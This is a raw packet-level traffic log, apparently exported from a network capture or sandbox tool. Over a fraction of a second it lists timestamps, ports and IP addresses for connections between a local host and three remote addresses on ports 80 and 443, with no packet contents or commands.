Nov 23, 2024 01:14:31.036293030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036326885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036402941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036413908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036418915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036423922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036429882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036462069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036473989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036534071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036561966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036581993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036592960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.036614895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036642075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.036761045 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.036812067 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.036825895 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.036840916 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.036854982 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.036864042 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.036889076 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.044836998 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.044898033 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.044912100 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.044962883 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.068644047 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.068710089 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.068711042 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.068752050 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.068773031 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.068799019 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.086757898 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.086823940 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.086853981 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.086863995 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.086891890 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.086918116 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.117480040 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117542982 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117563963 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117583036 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117593050 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.117610931 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117631912 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.117639065 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117667913 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117707014 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.117713928 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.117738008 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.161035061 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.161087036 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.161123991 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.161132097 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.161160946 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.161197901 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.170867920 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.183712006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.183785915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.183799982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.183904886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.184189081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.184235096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.184299946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.184432983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.185165882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.185255051 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.185314894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.185421944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.185745955 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.185791969 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.185822964 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.185830116 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.185861111 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.185880899 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.186105013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.186187029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.186240911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.187086105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.187194109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.187239885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.187433004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.188045025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.188105106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.188169003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.188215017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.189038992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.189093113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.189148903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.189196110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.190004110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.190052986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.190119028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.190285921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.190979004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.191034079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.191128016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.191165924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.191951036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.191998005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.192059994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.192105055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.192893982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.192946911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.192946911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.192986965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.193919897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.194027901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.194031954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.194178104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.194847107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.194892883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.194899082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.194941044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.195827007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.195897102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.195961952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.196121931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.196837902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.196871996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.196892023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.196908951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.197765112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.197858095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.197881937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.197936058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.198729992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.198790073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.198826075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.198942900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.199692011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.199748039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.199826956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.199875116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.200647116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.200691938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.200743914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.200807095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.201636076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.201726913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.201750994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.201800108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.202619076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.202697992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.202724934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.202773094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.203555107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.203619957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.203682899 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.203840017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.204533100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.204591990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.204637051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.204682112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.205502987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.205560923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.205605984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.205713987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.206454992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.206516027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.206551075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.206722021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.207425117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.207490921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.207536936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.207654953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.208410025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.208487988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.208507061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.208543062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.209378004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.209430933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.209574938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.209618092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.210334063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.210388899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.210454941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.210496902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.211301088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.211354971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.211380959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.211494923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.211575985 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.211602926 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.211667061 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.211674929 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.211762905 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.212313890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.212366104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.212397099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.212579966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.213287115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.213360071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.213459969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.213506937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.214246988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.214262009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.214315891 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.215167999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.215224981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.215226889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.215270996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.216142893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.216195107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.216248035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.216321945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.217097044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.217166901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.217284918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.217328072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.218092918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.218147039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.218183041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.218226910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.219049931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.219104052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.219191074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.219259024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.220011950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.220063925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.220082998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.220129967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.220977068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.221018076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.221071959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.221112967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.221954107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.222001076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.222043037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.222089052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.222908020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.222984076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.223015070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.223052025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.223886013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.223926067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.224006891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.224176884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.224966049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.224982977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.225033998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.225167990 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.225198030 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.225244999 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.225274086 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.225286961 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.225316048 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.225855112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.225908995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.225944996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.226002932 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.226799011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.226862907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.226896048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.226944923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.227754116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.227816105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.227859020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.228056908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.228748083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.228863955 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.228928089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.229716063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.229768038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.229830027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.229881048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.230216980 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.230243921 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.230283976 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.230290890 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.230315924 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.230329037 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.230706930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.230757952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.230792999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.230957031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.231638908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.231688976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.231724977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.231803894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.232605934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.232655048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.232713938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.232750893 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.233581066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.233640909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.233683109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.233732939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.234484911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:31.234544039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:31.238794088 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.238816977 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.238883018 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.238895893 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.238924026 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.238933086 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.254584074 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.254627943 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.254672050 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.254693985 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.254710913 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.254738092 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.269021034 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.269062996 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.269114971 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.269131899 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.269144058 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.269171953 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.280023098 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.280065060 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.280124903 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.280132055 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.280164957 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.280184984 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.293457031 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.293497086 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.293544054 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.293550968 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.293579102 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.293598890 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.314233065 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.314256907 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.314299107 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.314307928 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.314318895 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.314349890 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.314368963 CET	443	49823	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.314384937 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.314408064 CET	49823	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.349644899 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.349689007 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.349730968 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.349737883 CET	443	49822	13.107.246.40	192.168.2.5
Nov 23, 2024 01:14:31.349776030 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.349783897 CET	49822	443	192.168.2.5	13.107.246.40
Nov 23, 2024 01:14:31.352252007 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352338076 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352344036 CET	49829	443	192.168.2.5	172.183.192.109
Nov 23, 2024 01:14:31.352366924 CET	443	49829	172.183.192.109	192.168.2.5
Nov 23, 2024 01:14:31.352395058 CET	49829	443	192.168.2.5	172.183.192.109
